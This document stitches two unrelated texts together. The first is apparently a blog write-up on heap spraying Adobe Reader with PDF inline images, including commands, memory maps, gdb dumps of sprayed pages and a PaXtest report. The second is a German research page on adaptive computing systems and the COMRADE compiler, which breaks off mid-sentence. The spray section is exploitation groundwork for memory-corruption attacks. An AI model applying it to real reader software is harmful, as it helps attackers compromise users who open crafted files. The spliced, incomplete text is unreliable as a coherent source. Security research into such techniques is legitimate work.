## The Image way

As both the PDF specification and the Adobe implementation have been so
bloated there are probably a lot of different ways to acomplish this. Our
approach is to use as less PDF objects as posible. For this we’ll fill the
memory using embeded images. There is a way explained in PDF32000 8.9.7 Inline
Images for inlining image data into the page contents.

As an alternative to the image XObjects described in 8.9.5, “Image
Dictionaries”, a sampled image may be specified in the form of an inline
image. This type of image shall be defined directly within the content stream
in which it will be painted instead of being defined as a separate object.
Because the inline format gives the reader less flexibility in managing the
image data, it shall only be used for small images \(4 KB or less\).

Basically a PDF inline image goes inside the content stream of a page and has
this look:

BI  
… Key-value pairs …  
ID  
… Image data …  
EI

where …

[code]

     BI       Begins an inline image object.
     ID       Begins the image data for an inline image object.
     EI       Ends an inline image object.
    
    
[/code]

And here it is an example in the form of a python string…

“BI /W 10 /H 1 /CS /G /BPC 8 ID AAAAAAAAEI”

… which represents a grayscale 10 pixels image of the color represented by
“A”. No so big for our purpose but you got the idea. Also the 4k
restriction/recomendation pointed out in the documentation is not enforced by
Adobe’s implementation, so we can go really big. Also the page contents are
PDF streams and could be compacted and filtered with any number of pdf
filters, meaning… small PDF file size.

So here you have the py for generating a memory filling PDF using nothing but
inline images.

Create the pdf:

python PDFSpray.py >PDFSpray.pdf

Run Adobe Reader:

acroread PDFSpray.pdf

… get it’s PID and check its memory footprint:

[code]

    ps -eo pid,vsz,cmd -ww --sort=pid |grep acroread
    8805 532984K /opt/Adobe/.../bin/acroread PDFSpray.pdf
    
    
[/code]

OK 500Megabytes\! It seems to be working\!

Let’s check out its memory mappings…

[code]

    cat /proc/8805/maps |head -n16
    08048000-0970b000 r-xp 00000000 08:01 1754759 ../bin/acroread
    0970b000-09792000 rwxp 016c2000 08:01 1754759 ../bin/acroread
    09792000-097a0000 rwxp 00000000 00:00 0
    0985f000-0ba2f000 rwxp 00000000 00:00 0       [heap]
    9a35c000-9a35d000 ---p 00000000 00:00 0
    9a35d000-9a45d000 rwxp 00000000 00:00 0
    9a45d000-9a45e000 ---p 00000000 00:00 0
    9a45e000-a745e000 rwxp 00000000 00:00 0
    a748c000-ad88c000 rwxp 00000000 00:00 0
    adce0000-b40e0000 rwxp 00000000 00:00 0
    
    
[/code]

And in the debugger…

[code]

    gdb
    GNU gdb (Gentoo 7.0 p1) 7.0
    Copyright (C) 2009 Free Software Foundation, Inc.
    (gdb) attach 8805
    (gdb) x/8x 0xa0000000
    0xa0000000: 0x3c3c3c3c 0x41414141 0x41414141 0x41414141
    0xa0000010: 0x41414141 0x41414141 0x41414141 0x41414141
    (gdb) x/8x 0xa0000000+0x1000*1
    0xa0001000: 0x3c3c3c3c 0x41414141 0x41414141 0x41414141
    0xa0001010: 0x41414141 0x41414141 0x41414141 0x41414141
    (gdb) x/8x 0xa0000000+0x1000*2
    0xa0002000: 0x3c3c3c3c 0x41414141 0x41414141 0x41414141
    0xa0002010: 0x41414141 0x41414141 0x41414141 0x41414141
    (gdb) x/8x 0xa0000000+0x1000*3
    0xa0003000: 0x3c3c3c3c 0x41414141 0x41414141 0x41414141
    0xa0003010: 0x41414141 0x41414141 0x41414141 0x41414141
    
    
[/code]

Again we have achieved our goal\!

## The sizes:

Here you may compare the sizes of the resulting PDF files…

File | size   
---|---  
JSSpray.pdf | 800   
PDFSpray.pdf | 645050   
SWFSpray.pdf | 9477   
## The baseline

To gain perspective here you have the spec of the system where we tried all
this…

[code]

    Base memory consumption of an idle acroread::
    117056k /opt/Adobe/Reader9/Reader/intellinux/bin/acroread
    
    PaXtest::
    Mode: kiddie
    Linux localhost 2.6.31-gentoo-r6 #3 SMP Mon Dec 21 08:31:19 ART 2009
    i686 Intel(R) Core(TM)2 CPU T5500 @ 1.66GHz GenuineIntel GNU/Linux
    
    Executable anonymous mapping             : Vulnerable
    Executable bss                           : Vulnerable
    Executable data                          : Vulnerable
    Executable heap                          : Vulnerable
    Executable stack                         : Vulnerable
    Executable anonymous mapping (mprotect)  : Vulnerable
    Executable bss (mprotect)                : Vulnerable
    Executable data (mprotect)               : Vulnerable
    Executable heap (mprotect)               : Vulnerable
    Executable stack (mprotect)              : Vulnerable
    Executable shared library bss (mprotect) : Vulnerable
    Executable shared library data (mprotect): Vulnerable
    Writable text segments                   : Vulnerable
    Anonymous mapping randomisation test     : 9 bits (guessed)
    Heap randomisation test (ET_EXEC)        : 14 bits (guessed)
    Heap randomisation test (ET_DYN)         : 16 bits (guessed)
    Main executable randomisation (ET_EXEC)  : No randomisation
    Main executable randomisation (ET_DYN)   : 8 bits (guessed)
    Shared library randomisation test        : 10 bits (guessed)
    Stack randomisation test (SEGMEXEC)      : 19 bits (guessed)
    Stack randomisation test (PAGEEXEC)      : 19 bits (guessed)
    Return to function (strcpy)              : Vulnerable
    Return to function (memcpy)              : Vulnerable
    Return to function (strcpy, RANDEXEC)    : Vulnerable
    Return to function (memcpy, RANDEXEC)    : Vulnerable
    Executable shared library bss            : Vulnerable
    Executable shared library data           : Vulnerable
    
    
[/code]

## Conclusion:

Yes we can fill it\!  
There probably are and will be 1000000 ways to fill a browser memory, so it
may be a good idea to stop trying to detect the source of the spray and
instead, try detecting the spray itself. Also bear in mind that the actual
spray may not contain code all the time, it may contain just pointers to do
some ret2libc oriented programming.

You may grab a test bundle with all the code from here.

# Forschung < Forschung < Eingebettete Systeme

**Created:**| _10/30/2011 12:30:08 PM_  
---|---  
**Updated:**| _10/30/2011 12:30:08 PM_  
**Author:**| __  
**Tags:**| _research awesome_  
  

#  Übersicht

  * Publikationen

  * Adaptive Rechensysteme und ihre Entwurfswerkzeuge
  * Rechnerarchitekturen für adaptive Systeme
  * Entwurf adaptiver Rechensysteme
  * Flexible Schnittstelle für Modulgeneratoren
  * Floorplanning-Werkzeuge für datenpfadorientierte Schaltungen auf FPGAs
  * Evaluation repräsentativer Anwendungen auf adaptiven Rechensystemen
  * Evaluationswerkzeuge für grobgranulare rekonfigurierbare Architekturen
  * Compiler für adaptive Rechensysteme
  * Zwischendarstellung für Hardware-Auswahl und Datenpfad-Synthese
  * Interaktion mit dem Modulgenerator GLACE
  * Compiler-Optimierungen für adaptive Rechensysteme
  * Hardware-Software-Partitionierung
  * Spekulative Ausführung von Datenflussgraphen in Pipelines
  * Rekonfigurations-Scheduling
  * Bitbreiten-Reduktion und Evaluierung konstanter Bits
  * Beschreibungsunabhängige Analysemethoden
  * Metaoptimierungen für adaptive Rechner
  * Unterstützung von spekulativer Parallelisierung auf einem adaptiven Rechner
  * Einbindung komplexer IP-Blöcke in automatisch generierte Datenpfade
  * Parametric C Interface For IP Cores \(PaCIFIC\)
  * Plattformen und Systemkomposition
  * Allgemeine Einführung in adaptive Rechensysteme

#  Adaptive Rechensysteme und ihre Entwurfswerkzeuge

Adaptive Rechensysteme haben die Fähigkeit, sich neben der konventionellen
Programmierung durch Software auch in Hardware-Aspekten an die Erfordernisse
der aktuellen Anwendung anpassen zu lassen. Diese Art von Flexibilität
erfordert neue Entwicklungswerkzeuge, mit denen die Soft- und Hardware-
Komponenten zur Realisierung eines Algorithmus gemeinsam erstellt werden
können. Siehe auch die ausführliche Allgemeine Einführung.

Die laufenden Arbeiten unseres Fachgebiets Eingebettete Systeme und ihre
Anwendungen \(ESA\) schliessen an umfangreiche Forschungen an der Abteilung
Entwurf integrierter Schaltungen \(E.I.S.\) der TU Braunschweig an. Seit 1997
kooperierte diese im Rahmen des Projekts _Nimble Compiler for Agile Hardware_
unter anderem mit der Fa. Synopsys \(Advanced Technology Group\) und der
Universität Berkeley \(BRASS\). Als Ziel steht die Entwicklung eines
durchgehenden Entwurfsflusses, der ohne Einschränkungen C in kombinierte
HW/SW-Anwendungen übersetzen kann, die dann auf einem geeigneten adaptiven
Rechensystem effizient ausgeführt werden können. Während das Nimble-Projekt in
2001 erfolgreich abgeschlossen wurde, gehen unsere eigenen Forschungen auf
diesem Gebiet weiter.

Das Nimble-Nachfolgesystem COMRADE wurde in 2004 deutlich weiterentwickelt und
kann nun die ersten Beispielanwendungen korrekt in simulierte Hardware
übersetzen. Der Fluss wurde durch zusätzliche Optimierungen wie das Aggressive
Tail Splitting und eine Bitbreiten-Anpassung der Berechnungen verfeinert.
Neben dieser Thematik befasst sich ein laufendes DFG-Projekt, das dem
Schwerpunktprogramm 1148 assoziiert durchgeführt wird, auch mit der
automatischen Integration von bestehenden Hardware-Blöcken mit den compiler-
generierten Datenpfaden.

Mit dem Ziel, nun die Interaktion von Hardware-Architektur und Software-Tools
auf Parameter wie Rechenleistung und Leistungsaufnahme zu evaluieren, wird das
Projekt an der TU Darmstadt weitergeführt.

#  Rechnerarchitekturen für adaptive Systeme

<img src='http://www.esa.informatik.tu-
darmstadt.de/../../../pub/Research/WebHomeDe/ak1s.gif' alt='ak1s.gif' />  
---  
**Bild 1:** Hardware-Architekturen  
\(a\) Einzel-Chip \(ideal, z.B. GARP\) \(b\) Multi-Chip \(real, z.B. ACEV\)  
Adaptive Rechensysteme \(siehe auch Allgemeine Einführung\) können wegen der
für sie typischen Flexibilität einzelner Hardware-Teile weitaus besser an
aktuelle Erfordernisse angepasst werden als dies mit komplett fester Standard-
Hardware möglich wäre. Da aber selbst bei einem adaptiven Rechner der
überwiegende Teil des Systems aus nicht-konfigurierbaren Bauteilen besteht,
muss auch hier die doch weitgehend statische Rechner-Architektur sorgfältig
und ohne die Möglichkeit einer späteren Änderbarkeit entworfen werden. Ein
Schwerpunkt unserer Forschung liegt daher auf der Konzeption, Realisierung und
Evaluierung verschiedener Hardware-Architekturen für adaptive Rechensysteme.

Beim bisherigen Stand der Arbeiten besteht die ideale Ziel-Hardware \(Bild 1\)
für den Entwurfsfluss aus einem eng gekoppelten rekonfigurierbaren Datenpfad
_DP_ und einem konventionellen Prozessor _CPU_ , die auf einen gemeinsamen
Speicher zugreifen \(_DRAM_ , _Cache_\). Optional kann der _DP_ auch noch
lokalen Speicher _SRAM_ und eigene Peripherie _I/O_ haben.

Der Datenpfad sollte dabei einige Dutzend bis einige hundert ALU-Operationen
gleichzeitig realisieren können und ausreichend Flip-Flops für den Aufbau von
Pipelines enthalten. Je kürzer die Rekonfigurationszeit, desto effizienter
kann der _DP_ für unterschiedliche Teile der Anwendung wiederverwendet werden.

Da geeignete Bausteine mit den oben genannten Fähigkeiten erst seit kurzem
verfügbar sind, wurde in Form der Test-Plattform ACEV an der Abteilung ein
adaptiver Rechner aufgebaut, der diskrete Chips für die einzelnen Komponenten
verwendet \(Bilder 1.b, 2\).

<img src='http://www.esa.informatik.tu-
darmstadt.de/../../../pub/Research/WebHomeDe/ak2.jpg' alt='ak2.jpg' />  
---  
**Bild 2:** Erprobungs-Plattform ACE1 für adaptive Rechensysteme  
Im einzelnen wird dabei zur Realisierung der Datenpfade ein Baustein Xilinx
Virtex XCV1000 verwendet. Ein RISC microSPARC-IIep dient als _CPU_. Als
Speicher stehen _DP_ und _CPU_ gemeinsam 64MB _DRAM_ zur Verfügung, dem _DP_
lokal 4 x 1MB ZBT-SRAM. Die Kommunikation zwischen _DP_ und _CPU_ erfolgt über
einen PCI-Bus. Um die Latenzen der vom _DP_ ausgehenden _DRAM\_-Zugriffe zu
minimieren, verwendet auch der \_DP_ einen eigenen _Cache_. Die komplette
Testplattform steckt als PCI-Karte in einem Wirtsrechner, läuft aber von
diesem unabhängig unter einem eigenen Betriebssystem. Dazu wurde das
Echtzeitbetriebssystem RTEMS auf die ACEV-Umgebung portiert. Nur für Ein- und
Ausgabeoperationen wird nahtlos auf die Peripherie \(Dateien, Netzwerk\) des
Wirtsrechners zugegriffen.

Diese Umgebung erlaubt die praktische Erprobung von Entwurfswerkzeugen,
Hardware-Architekturen und konkreten adaptiven Anwendungen auf Systemebene
schneller als dies durch Simulationen möglich wäre. Dabei ist allerdings die
absolute Rechenleistung bedingt durch den diskreten Aufbau stark beschränkt:
Neben der niedrigen Bandbreite und hohen Latenz der PCI-Anbindung ist dafür
auch die sehr langsame Rekonfigurationszeit der Virtex-FPGAs verantwortlich.
Bei der zukünftigen Verwendung der oben genannten höher integrierten Lösungen
\(single-chip\) mit schneller konfigurierbarer Struktur \(ALU statt
Logikblock\) werden diese Einschränkungen aber aufgehoben.

Die ACE-V Plattform ist mittlerweile ausreichend stabil um auch von einem
breiteren Anwenderkreis benutzt zu werden. Um die Fortschritte durch das
Verfügbarwerden von höherintegrierten Bausteinen auszunutzen, wurde in 2004
mit der Migration auf die aktuelle Xilinx Virtex II Pro Technologie begonnen.
Diese System-FPGAs vereinen bis zu vier RISC-Prozessoren mit zehntausenden von
konfigurierbaren Logikblöcken auf einem Chip. Für eine darauf basierende
AlphaData ADM-XP Prototypenplattform sind erste Arbeiten zur Erstellung einer
passenden Software-Umgebung unter Linux angelaufen.

#  Entwurf adaptiver Rechensysteme

Die manuelle Entwicklung von Anwendungen für adaptive Rechner ist recht
mühsam: Zunächst muss der zu implementierende Algorithmus in Hard- und
Software-Teile partitioniert werden. Anschließend werden die einzelnen Teile
getrennt realisiert, müssen aber auf beiden Seiten noch mit Schnittstellen und
Protokollen für ihre Kommunikation untereinander versehen werden. Die
Komplexität der zu lösenden Einzelprobleme bei all diesen voneinander
abhängigen Schritten führen zu einer recht niedrigen Entwurfs-Produktivität
\(siehe auch Allgemeine Einführung\).

Als Alternative dazu wird im Fachgebiet ESA an der Entwicklung automatischer
Entwurfsflüsse gearbeitet, die die nötigen Schritte entweder selbstständig
durchführen oder den Designer bei seiner Arbeit weitestgehend unterstützen.

Als Ziel steht eine Kette von Werkzeugen, die einen in einer Hochsprache
verfassten Algorithmus effizient auf einem adaptiven Rechner implementieren
kann. Der erste Prototyp _Nimble_ wurde u.a. in Vorarbeiten an der TU
Braunschweig zusammen mit der Fa. Synopsys und der Universität Berkeley
entwickelt. Er übersetzt C-Programme in Hardware/Software-Lösungen, welche
dann auf einem experimentellen adaptiven Rechner real ausgeführt werden können
\(siehe auch Rechnerarchitekturen\). Den gesamten Nimble-Entwurfsfluss
skizziert Bild 3. Im Kern besteht er aus einem ANSI/ISO-kompatiblen C-Compiler
und einem datenpfad-orientierten Platzierungswerkzeug.

<img src='http://www.esa.informatik.tu-
darmstadt.de/../../../pub/Research/WebHomeDe/ak3.gif' alt='ak3.gif' />  
---  
**Bild 3:** Nimble-Entwurfsfluss  
Der als C-Programm vorliegende Algorithmus wird zunächst in Hard- und
Software-Komponenten partitioniert. Dabei wird die Auswahl anhand von
verschiedenen Arten von Profiling-Daten vorgenommen. Der Software-Teil wird
nun nach Anreicherung um Schnittstellen zum parallel entstehenden Hardware-
Teil durch den konventionellen GNU-C-Compiler GCC weiterbearbeitet. Die für
die Hardware-Ausführung selektierten Teile dagegen werden in Form von
Kontroll-Datenflussgraphen zum Scheduling und zur Platzierung an den
DatapathComposer übergeben. An dieser Stelle werden auch die Eigenschaften der
Ziel-Technologie berücksichtigt. Diese sind durch parametrisierte
Modulgeneratoren abgedeckt, welche für die Basisoperationen des
Datenflussgraphen konkrete Schaltungen bereitstellen und sie in Bezug auf
Eigenschaften wie Zeitverhalten oder Flächenbedarf charakterisieren können.
Abschließend werden beide Teile zu einem auf der Zielplattform \(derzeit
ACE-V, später auch Virtex-II-Pro-basiert\) ausführbaren Programm
zusammengebunden \(siehe auch Rechnerarchitekturen\).

#  Flexible Schnittstelle für Modulgeneratoren

Ein Schwerpunkt der Arbeiten im Fachgebiet ESA auf dem Gebiet des
Entwurfsflusses für adaptive Rechner \(siehe auch Allgemeine Einführung\)
liegt auf der Realisierung effizienter Schnittstellen zu den parametrisierten
Modulgeneratoren, die die eigentlichen Hardware-Komponenten erstellen. Dazu
wird das bereits früher entwickelte Verfahren _FLexible API for Module-based
Environments_ \(FLAME\) verwendet. Diese Spezifikation erlaubt den Austausch
detaillierter Informationen zwischen dem Hauptentwurfsfluss und den hardware-
spezifischen Modulgeneratoren. Der Compiler kann so beispielsweise
Informationen über alle in Hardware realisierbaren Funktionen sowie ihre
Ansteuerung abrufen, während der Datenpfad-Platzierer Layout- und
Topologiedaten ermitteln kann. Für jeden einzelnen Entwurfsschritt können so
die für die Optimierung relevanten Hardware-Charakteristika bestimmt werden.

<img src='http://www.esa.informatik.tu-
darmstadt.de/../../../pub/Research/WebHomeDe/ak4s.gif' alt='ak4s.gif' />  
---  
**Bild 4:** FLAME-Schnittstelle  
Wie in Bild 4 können bestehende Modulgeneratoren in eine FLAME-Umgebung
eingebettet werden. Beliebige Werkzeuge des Entwurfsflusses können so mit dem
FLAME-Manager die verschiedenen Dienste der Modulgeneratoren anfordern. Zu
diesen Diensten \(in FLAME auch _Sichten_ genannt\) gehören beispielsweise
neben der Funktion eines Hardware-Moduls auch dessen Schnittstelle nach außen
und der Zeit- und Flächenbedarf. Schließlich kann so auch noch die Schaltung
selbst als Netzliste abgerufen werden. Diese Einzelschaltungen werden dann von
einem übergeordneten Werkzeug zu einem kompletten Datenpfad verbunden.

<img src='http://www.esa.informatik.tu-
darmstadt.de/../../../pub/Research/WebHomeDe/ak4a.gif' alt='ak4a.gif' />  
---  
**Bild 5:** GLACE  
Bild 5 zeigt das an der Abteilung entwickelte System GLACE \(Generic Library
for Adaptive Computing Environments\), die erste vollständige Modulbibliothek
mit FLAME-Schnittstelle. Die in GLACE enthaltenen Modulgeneratoren können die
üblicherweise bei der Compilierung von Hochsprachen in Hardware benötigten
Operatoren \(z.B. Arithmetik, Logik, Multiplexer, etc\) flexibel und effizient
in Hardware auf Xilinx XC4000 und Virtex FPGAs abbilden. Dem
Hauptentwurfsfluss steht via FLAME eine breite Palette von Informationen
\(u.a. Zeitverhalten, Fläche und Topologie\) zur Beurteilung und Auswahl von
Modulinstanzen zur Verfügung.

GLACE und FLAME werden kontinuierlich weiterentwickelt. Auch in 2004 wurde die
FLAME-Spezifikation weiter gepflegt und erstmals in Form eines Technical
Reports vollständig dokumentiert.

#  Floorplanning-Werkzeuge für datenpfadorientierte Schaltungen auf FPGAs

Nach der Erzeugung von effizienten Modulen für die Einzeloperatoren eines
Datenflussgraphen gilt es als nächstes, aus diesen Elementen den kompletten
Datenpfad zusammenzusetzen. Bei der Anordnung und Verdrahtung der
Einzelschaltungen müssen dabei sowohl die besonderen Eigenschaften der
bearbeiteten Datenpfade \(Multi-Bit-Operatoren, Pipelining, hierarchische
Steuerwerke\) als auch die speziellen Eigenschaften der Ziel-Hardware \(Carry-
Chains, Logikblockarchitektur\) berücksichtigt werden.

<img src='http://www.esa.informatik.tu-
darmstadt.de/../../../pub/Research/WebHomeDe/ak4b.gif' alt='ak4b.gif' />  
---  
**Bild 6:** Floorplanning  
2004 wurden erste Arbeiten an einem kombinierten Werkzeug begonnen, dass die
Operationen Floorplanning und das Verschmelzen von mehreren Datenpfaden zu
einer Konfiguration simultan ausführen kann. Basis für den Prozess sind dabei
die Daten, die durch das Rekonfigurations-Scheduling berechnet werden.

#  Evaluation repräsentativer Anwendungen auf adaptiven Rechensystemen

Die Eigenschaften von Hardware-Architekturen und Software-Werkzeugen können
seriös nur anhand von realen Anwendungen bewertet werden. Zu diesem Zweck
wurden in 2004 durch studentische Arbeit eine repräsentative Anwendung vom
Algorithmus bis hinunter zur hybriden Hardware-Software-Ausführung realisiert.

Es handelt sich dabei um die Kompression von Graustufenbildern mittels
Wavelet-Ansatzes \(der ja auch dem JPEG 2000 Standard zugrundeliegt\).

<img src='http://www.esa.informatik.tu-
darmstadt.de/../../../pub/Research/WebHomeDe/ak_wavelet.gif'
alt='ak_wavelet.gif' />  
---  
**Bild 7:** Bildkompression nach dem Wavelet-Ansatz  
Dabei wird das Graustufen-Eingabebild zunächst durch abwechselnde vertikale
und horizontale Filterung in niederfrequente \(= "wichtige Bildteile"\) und
hochfrequente Teile \(= "Bilddetails"\) zerlegt und diese durch Quantisierung
auf einen kleineren Wertebereich abgebildet. Die für das Auge weniger
wichtigen Details werden dadurch alle auf den Wert Null gesetzt. Diese langen
Ströme von Nullen werden mittels einer spezialisierte Lauflängenkomprimierung
in eine einzelne Längenangabe \("15x Null"\) verkürzt. Eine abschliessende
Huffman-Komprimierung ersetzt am Ende des Prozesses noch häufig auftretende
Bitfolgen durch kürzere Codes. Eine reale Implementierung dieses Verfahrens
auf der ACE-V braucht bei einer Taktfrequenz von 31 MHz 7.2ms zur Bearbeitung
eines Bildes. Der Athlon XP Prozessor mit 1533 MHz schafft die Aufgabe zwar in
4.2ms, hat dabei aber eine maximale Leistungsaufnahme von 54-60 W. Selbst ein
auf niedrigen Energieverbrauch optimierter Prozessor vom Typ Pentium-M hat
eine Leistungsaufnahme von 22 W. Die rekonfigurierbare Recheneinheit auf der
ACE-V nimmt dagegen \(ermittelt anhand von vollständigen Simulationsdaten\)
lediglich 0.8 W an Leistung auf. Auch hier gilt das oben Gesagte: Mit einem
moderneren FPGA wie dem Virtex II Pro-Chip liesse sich die Rechenleistung bei
ähnlicher Leistungsaufnahme mindestens verdreifachen.

#  Evaluationswerkzeuge für grobgranulare rekonfigurierbare Architekturen

Im Rahmen einer Industriekooperation wurden parametrisierte Platzierungs- und
Verdrahtungswerkzeuge erstellt, die anhand einer flexiblen Beschreibungsdatei
die Leistungsfähigkeit ganzer Familien von grobgranularen rekonfigurierbaren
Feldern erproben können. Mit den so bestimmten Ergebnissen kann dann schon vor
der Hardware-Fertigung für jeden Anwendungsbereich die bestgeeignetste
Ausprägung der Architektur gewählt werden. Zu den variierbaren Parametern
gehören neben der Art und Anzahl der einzelnen Recheneinheiten auf dem Feld
auch deren Anordnung und Verdrahtung. Zur Optimierung von Durchsatz und Latenz
der Berechnung können verschiedene Arten des Pipelining ebenfalls modelliert
werden.

#  Compiler für adaptive Rechensysteme

Einer der komplexesten Teile eines Entwurfsflusses für adaptive Rechner
\(siehe auch Allgemeine Einführung\) ist der zentrale Compiler. Die an einen
solchen Compiler gestellten Anforderungen gehen über die von konventionellen
Software-Compilern weit hinaus. Neben den gängigen Operationen \(Parsing,
Code-Erzeugung, Optimierung etc.\) muss hier das gegebene Hochsprachen-
Programm auch noch optimal in Soft- und Hardware aufgeteilt werden. Weiterhin
umfasst der Schritt der Code-Erzeugung sowohl die bekannte Code-Generierung
für einen festen Ziel-Prozessor als auch die Generierung optimaler Hardware-
Realisierungen für die in Hardware ausgelagerten Teile der Anwendung.

In letzterem Fall könnten für unterschiedliche Anwendungen angepasste
Hardware-Architekturen erzeugt werden. Ein Teil des Algorithmus kann also auf
einem Vektorprozessor ausgeführt werden, ein weiterer mag besser auf eine
superskalare Architektur passen, und ein dritter wiederum könnte ausgeprägte
Datenflusseigenschaften haben. Durch die Ausnutzung der Rekonfigurierbarkeit
des adaptiven Rechensystems können so für alle Teile optimale
Implementierungen gefunden werden.

Da jeder Rekonfigurationsvorgang aber selbst eine bestimmte Zeit benötigt,
muss für jede Programmausführung abgewogen werden, an welchen Stellen
tatsächlich die Hardware-Konfiguration geändert wird. Andernfalls würde der
durch die optimal angepassten Architekturen erreichbare Leistungsgewinn durch
zu häufige Rekonfigurationen wieder zunichte gemacht.

<img src='http://www.esa.informatik.tu-
darmstadt.de/../../../pub/Research/WebHomeDe/ak5s.gif' alt='ak5s.gif' />  
---  
**Bild 8:** Der Compiler COMRADE  
Das Projekt _COMRADE_ \(Compiler for Adaptive Systems\) hat die automatische
Umsetzung von C-Programmen in eine Hardware-Software-Partitionierung und die
Erzeugung von synthesefähigen Datenpfaden für die rekonfigurierbare Hardware
zum Ziel. Aufbauend auf dem Compilersystem SUIF2 der Universität Stanford
erreicht man dieses Ziel durch schrittweise Bearbeitung des Programms \(Bild
8\).

<img src='http://www.esa.informatik.tu-
darmstadt.de/../../../pub/Research/WebHomeDe/ak6.gif' alt='ak6.gif' />  
---  
**Bild 9:** Hardware-Operationen mit technischen Daten  
Welche Teile eines Programms als Hardware oder Software ausgeführt werden,
entscheidet der Compiler aufgrund verschiedener Programminformationen. Zum
einen sind das hardware-relevante Daten wie Flächenverbrauch und Laufzeit, die
von Modulgeneratoren für die Zielhardware über die flexible Schnittstelle
FLAME bereitgestellt werden \(Bild 9\). Neben den aus dem Modulgenerator-
Zugriff gewonnenen Daten ist die Ausführungshäufigkeit von Operationen im
Programm für die Hardware-Auswahl wichtig. Die Neukonfiguration der Hardware
und die Variablenübergabe zwischen Soft- und Hardware machen seltene
Programmteile sehr langsam, da die Kommunikationszeit den
Geschwindigskeitsvorteil übertrifft. Deswegen eignen sich vor allem häufig
benutzte Schleifen für eine Hardware-Implementierung. Um diese herauszufinden,
wird ein dynamisches Profiling eingesetzt. Die Ausführungsfrequenz wird
hierbei durch einfaches Ausführen des Programms und Zählen des Ausführens von
einzelnen Anweisungen ermittelt.

Die zu einem Programm gehörenden Datenpfade müssen während des Programmlaufs
in die rekonfigurierbare Hardware geladen werden. Oft sind sie so klein, dass
zugleich mehrere auf ein rekonfigurierbares FPGA-Chip passen. Der Compiler
stellt für diese Situation einen Algorithmus bereit, der die von bestimmten
Randbedingungen abhängigen Hardware-Rekonfigurationen bestimmt. Das
resultierende Scheduling garantiert während des gesamten Programmlaufs eine
gute Ausnutzung der Hardware-Ressourcen.

#  Zwischendarstellung für Hardware-Auswahl und Datenpfad-Synthese

Eine besondere Bedeutung in COMRADE nimmt die Zwischendarstellung ein, für die
eine Sonderform der Static-Single-Assignment-Form \(SSA-Form\) von
Kontrollflussgraphen gewählt wurde. Diese unterstützt einen Großteil der
Umformungen, welche auf dem Hardware-Teil eines Programms vorgenommen werden
müssen. Außerdem vereinfacht sie die Umsetzung dieser Regionen in die
Hardware-Datenpfade.

Die grundlegende Eigenschaft einer SSA-Form besteht darin, dass in ihr jede
Variable nur einmal definiert wird. Da normale Programme diese Eigenschaft im
allgemeinen nicht besitzen, müssen sie zuerst in die SSA-Form konvertiert
werden \(Bild 12\).

<img src='http://www.esa.informatik.tu-
darmstadt.de/../../../pub/Research/WebHomeDe/ak7.gif' alt='ak7.gif' />  
---  
**Bild 10:** Konvertierung in SSA-Form  
Man erkennt, dass an Stellen, an denen sich die Definitionen von mehreren
Variablen vereinigen müssen, sogenannte Fi-Anweisungen eingefügt werden. Diese
Anweisungen werden in einem späteren Compiler-Schritt dann in Multiplexer
umgeformt. Auf diese Weise können verschiedene Lösungen für eine Variable
parallel berechnet werden. Der erzeugte Multiplexer sucht dann aufgrund von
Kontrollfluss-Informationen das richtige Ergebnis heraus. Alle anderen
Berechnungen werden beendet oder verworfen.

Die in COMRADE verwendete Data-Flow-Controlled SSA-Form \(DFCSSA-Form\)
erweitert die Eigenschaften der einfachen Form durch Elemente, die für das
Erstellen von Datenpfaden und deren Scheduling vorteilhaft sind. Als erstes
wird die Zwischendarstellung nur für als Hardware vorgesehene Teile des
Programms erzeugt. Eine Zeitersparnis während der Compilierung ist die Folge.
Desweiteren werden in der DFCSSA-Form Fi-Anweisungen nur an die Stellen
gesetzt, an denen sie wirklich nötig sind. Dadurch können Multiplexer
entstehen, welche mehr als zwei Eingänge besitzen. Diese erzielen
Laufzeitvorteile auf der Ziel-Hardware.

#  Interaktion mit dem Modulgenerator GLACE

Die Entscheidung über die Auswahl einer Operation als Hardware- oder Software-
Implementierung beruht teilweise auf aus Modulgeneratoren erzeugten
Informationen. Wir benutzen den Modulgenerator GLACE, um Größe und Laufzeit
von Blöcken auf der rekonfigurierbaren Logik abzuschätzen. Dabei müsste für
jeden Operator eine neue Anfrage an den Generator gestellt werden. Viele im
C-Sourcecode enthaltenen Operationen ähneln sich aber, und Anfragen würden so
ohne einen geeigneten Mechanismus mehrfach gestellt. Desweiteren werden zur
Zeit noch alle Anfragen über das Java Native Interface \(JNI\) an GLACE
geleitet, da COMRADE in C++ und GLACE in Java implementiert sind. Der Zugriff
wird dadurch verlangsamt. Aus diesen Gründen verfügt COMRADE über einen
internen Cache, der Anfragen an GLACE zwischenspeichert und somit die
Bearbeitungsgeschwindigkeit beschleunigt \(Bild 11\).

<img src='http://www.esa.informatik.tu-
darmstadt.de/../../../pub/Research/WebHomeDe/ak8.gif' alt='ak8.gif' />  
---  
**Bild 11:** Cache für den Zugriff auf GLACE  
Messungen an Benchmarks haben gezeigt, dass mindestens 77% aller Anfragen an
den Modulgenerator durch den Cache eingespart werden können.

Modulgeneratoren können für viele der in C vorhandenen Operationen Module erzeugen. Leider sind Fähigkeiten aber beschränkt, so dass der Compiler selbst Synthese-Aufgaben übernehmen muss. So erzeugt COMRADE beispielsweise Multiplexer mit mehr als zwei Eingängen selbst, da diese von GLACE zur Zeit noch nicht unterstützt werden. Desweiteren können auch Optimierungsaufgaben übernommen werden. Logische Operatoren \(`&&`, `||`\) und bitweise Operatoren \(`&`, `|`, `^`\) der Programmiersprache C werden von GLACE nur unter Angabe von Wahrheitstabellen unterstützt. Diese auf den ersten Blick hinderliche Eigenschaft gibt uns wiederum die Möglichkeit, jede beliebige logische Funktion zu realisieren. Wir nutzen dies, um Kombinationen von Operatoren wie z.B. `d = a | b | c & a` zu einem Operator zusammenzufassen. In Bild 12a wird beispielsweise die Anweisung 
`y = (((a & b) | ((c & d) & e)) | (((e & f) & g) & h)`
unoptimiert dargestellt.

<img src='http://www.esa.informatik.tu-
darmstadt.de/../../../pub/Research/WebHomeDe/ak9.gif' alt='ak9.gif' />  
---  
**Bild 12:** Optimierungen logischer Operationen  
Im Gegensatz wurde die Darstellung in Bild 12b durch die Synthese-Bibliothek
SIS soweit optimiert, dass nur noch drei Operationen verwendet werden müssen.
Hier werden dann auch alle in der Ziel-Hardware vorhandenen vier Eingänge pro
Logikblock \(CLB\) benutzt.

#  Compiler-Optimierungen für adaptive Rechensysteme

Neben klassischen Methoden wie der Optimierung von Speicherzugriffen und
kontrollflussbasiertem Profiling werden speziell auf die Ziel-Architektur
angepasste Verfahren benutzt, um vorrangig die Rechenzeit zu vermindern.
Besonders das Pipelining sorgt für hohe Parallelität in den erzeugten
